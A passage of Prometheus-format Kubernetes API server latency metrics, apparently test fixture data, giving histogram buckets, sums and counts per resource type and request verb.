,verb=\ put\ ,le=\ +inf\ } 9\r apiserver_request_latencies_sum{resource=\ clusterroles\ ,verb=\ put\ } 657777\r apiserver_request_latencies_count{resource=\ clusterroles\ ,verb=\ put\ } 9\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 125000\ } 13999\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 250000\ } 14449\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 500000\ } 14774\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 1e+06\ } 14910\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 2e+06\ } 14928\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 4e+06\ } 14928\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ 8e+06\ } 14928\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ get\ ,le=\ +inf\ } 14928\r apiserver_request_latencies_sum{resource=\ configmaps\ ,verb=\ get\ } 5.10270682e+08\r apiserver_request_latencies_count{resource=\ configmaps\ ,verb=\ get\ } 14928\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ list\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ configmaps\ ,verb=\ list\ } 1947\r apiserver_request_latencies_count{resource=\ configmaps\ ,verb=\ list\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ patch\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ configmaps\ ,verb=\ patch\ } 140776\r apiserver_request_latencies_count{resource=\ configmaps\ ,verb=\ patch\ } 2\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ configmaps\ ,verb=\ watchlist\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ configmaps\ ,verb=\ watchlist\ } 1.178198112e+09\r apiserver_request_latencies_count{resource=\ configmaps\ ,verb=\ watchlist\ } 4\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ delete\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ cronjobs\ ,verb=\ delete\ } 105882\r apiserver_request_latencies_count{resource=\ cronjobs\ ,verb=\ delete\ } 1\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ get\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ cronjobs\ ,verb=\ get\ } 19176\r apiserver_request_latencies_count{resource=\ cronjobs\ ,verb=\ get\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ list\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ cronjobs\ ,verb=\ list\ } 92955\r apiserver_request_latencies_count{resource=\ cronjobs\ ,verb=\ list\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ cronjobs\ ,verb=\ post\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ cronjobs\ ,verb=\ post\ } 8842\r apiserver_request_latencies_count{resource=\ cronjobs\ ,verb=\ post\ } 2\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 125000\ } 101\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 250000\ } 108\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 500000\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 1e+06\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 2e+06\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 4e+06\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ 8e+06\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ get\ ,le=\ +inf\ } 112\r apiserver_request_latencies_sum{resource=\ daemonsets\ ,verb=\ get\ } 4.6151e+06\r apiserver_request_latencies_count{resource=\ daemonsets\ ,verb=\ get\ } 112\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 125000\ } 3572\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 250000\ } 3618\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 500000\ } 3639\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 1e+06\ } 3648\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 2e+06\ } 3648\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 4e+06\ } 3648\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ 8e+06\ } 3648\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ list\ ,le=\ +inf\ } 3648\r apiserver_request_latencies_sum{resource=\ daemonsets\ ,verb=\ list\ } 6.3406995e+07\r apiserver_request_latencies_count{resource=\ daemonsets\ ,verb=\ list\ } 3648\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ daemonsets\ ,verb=\ patch\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ daemonsets\ ,verb=\ patch\ } 745497\r apiserver_request_latencies_count{resource=\ daemonsets\ ,verb=\ patch\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 125000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 250000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ delete\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ delete\ } 36392\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ delete\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 125000\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 250000\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 500000\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 1e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 2e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 4e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ 8e+06\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ get\ ,le=\ +inf\ } 35\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ get\ } 458918\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ get\ } 35\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 125000\ } 730\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 250000\ } 851\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 500000\ } 978\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 1e+06\ } 999\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 2e+06\ } 1007\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 4e+06\ } 1008\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ 8e+06\ } 1008\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ list\ ,le=\ +inf\ } 1008\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ list\ } 1.12914081e+08\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ list\ } 1008\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 125000\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 250000\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 500000\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 1e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 2e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 4e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ 8e+06\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ patch\ ,le=\ +inf\ } 15\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ patch\ } 382446\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ patch\ } 15\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 125000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 250000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ post\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ post\ } 109828\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ post\ } 4\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ deployments\ ,verb=\ put\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ deployments\ ,verb=\ put\ } 14939\r apiserver_request_latencies_count{resource=\ deployments\ ,verb=\ put\ } 2\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 125000\ } 47132\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 250000\ } 48271\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 500000\ } 49006\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 1e+06\ } 49179\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 2e+06\ } 49197\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 4e+06\ } 49198\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ 8e+06\ } 49198\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ get\ ,le=\ +inf\ } 49198\r apiserver_request_latencies_sum{resource=\ endpoints\ ,verb=\ get\ } 1.165225393e+09\r apiserver_request_latencies_count{resource=\ endpoints\ ,verb=\ get\ } 49198\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 125000\ } 48676\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 250000\ } 65859\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 500000\ } 75036\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 1e+06\ } 76878\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 2e+06\ } 76976\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 4e+06\ } 76978\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ 8e+06\ } 76978\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ list\ ,le=\ +inf\ } 76978\r apiserver_request_latencies_sum{resource=\ endpoints\ ,verb=\ list\ } 1.0344581295e+10\r apiserver_request_latencies_count{resource=\ endpoints\ ,verb=\ list\ } 76978\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 125000\ } 6643\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 250000\ } 6740\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 500000\ } 6818\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 1e+06\ } 6823\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 2e+06\ } 6823\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 4e+06\ } 6823\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ 8e+06\ } 6823\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ put\ ,le=\ +inf\ } 6823\r apiserver_request_latencies_sum{resource=\ endpoints\ ,verb=\ put\ } 1.5347824e+08\r apiserver_request_latencies_count{resource=\ endpoints\ ,verb=\ put\ } 6823\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 125000\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 250000\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 500000\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 1e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 2e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 4e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ 8e+06\ } 6\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watch\ ,le=\ +inf\ } 622\r apiserver_request_latencies_sum{resource=\ endpoints\ ,verb=\ watch\ } 2.75517142166e+11\r apiserver_request_latencies_count{resource=\ endpoints\ ,verb=\ watch\ } 622\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ endpoints\ ,verb=\ watchlist\ ,le=\ +inf\ } 316\r apiserver_request_latencies_sum{resource=\ endpoints\ ,verb=\ watchlist\ } 1.40073125175e+11\r apiserver_request_latencies_count{resource=\ endpoints\ ,verb=\ watchlist\ } 316\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 125000\ } 15\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 250000\ } 16\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 500000\ } 17\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 1e+06\ } 17\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 2e+06\ } 17\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 4e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ 8e+06\ } 18\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ list\ ,le=\ +inf\ } 18\r apiserver_request_latencies_sum{resource=\ events\ ,verb=\ list\ } 3.634932e+06\r apiserver_request_latencies_count{resource=\ events\ ,verb=\ list\ } 18\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 125000\ } 224\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 250000\ } 233\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 500000\ } 236\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 1e+06\ } 237\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 2e+06\ } 237\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 4e+06\ } 237\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ 8e+06\ } 237\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ patch\ ,le=\ +inf\ } 237\r apiserver_request_latencies_sum{resource=\ events\ ,verb=\ patch\ } 9.610014e+06\r apiserver_request_latencies_count{resource=\ events\ ,verb=\ patch\ } 237\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 125000\ } 2696\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 250000\ } 2768\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 500000\ } 2809\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 1e+06\ } 2818\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 2e+06\ } 2821\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 4e+06\ } 2821\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ 8e+06\ } 2821\r apiserver_request_latencies_bucket{resource=\ events\ ,verb=\ post\ ,le=\ +inf\ } 2821\r apiserver_request_latencies_sum{resource=\ events\ ,verb=\ post\ } 8.1423503e+07\r apiserver_request_latencies_count{resource=\ events\ ,verb=\ post\ } 2821\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 125000\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 250000\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 500000\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 1e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 2e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 4e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ 8e+06\ } 5\r apiserver_request_latencies_bucket{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,le=\ +inf\ } 5\r apiserver_request_latencies_sum{resource=\ horizontalpodautoscalers\ ,verb=\ list\ } 25424\r apiserver_request_latencies_count{resource=\ horizontalpodautoscalers\ ,verb=\ list\ } 5\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 125000\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 250000\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ get\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ ingresses\ ,verb=\ get\ } 96659\r apiserver_request_latencies_count{resource=\ ingresses\ ,verb=\ get\ } 3\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 125000\ } 84065\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 250000\ } 86940\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 500000\ } 88870\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 1e+06\ } 89465\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 2e+06\ } 89532\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 4e+06\ } 89540\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ 8e+06\ } 89540\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ list\ ,le=\ +inf\ } 89540\r apiserver_request_latencies_sum{resource=\ ingresses\ ,verb=\ list\ } 3.266173711e+09\r apiserver_request_latencies_count{resource=\ ingresses\ ,verb=\ list\ } 89540\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ patch\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ ingresses\ ,verb=\ patch\ } 4068\r apiserver_request_latencies_count{resource=\ ingresses\ ,verb=\ 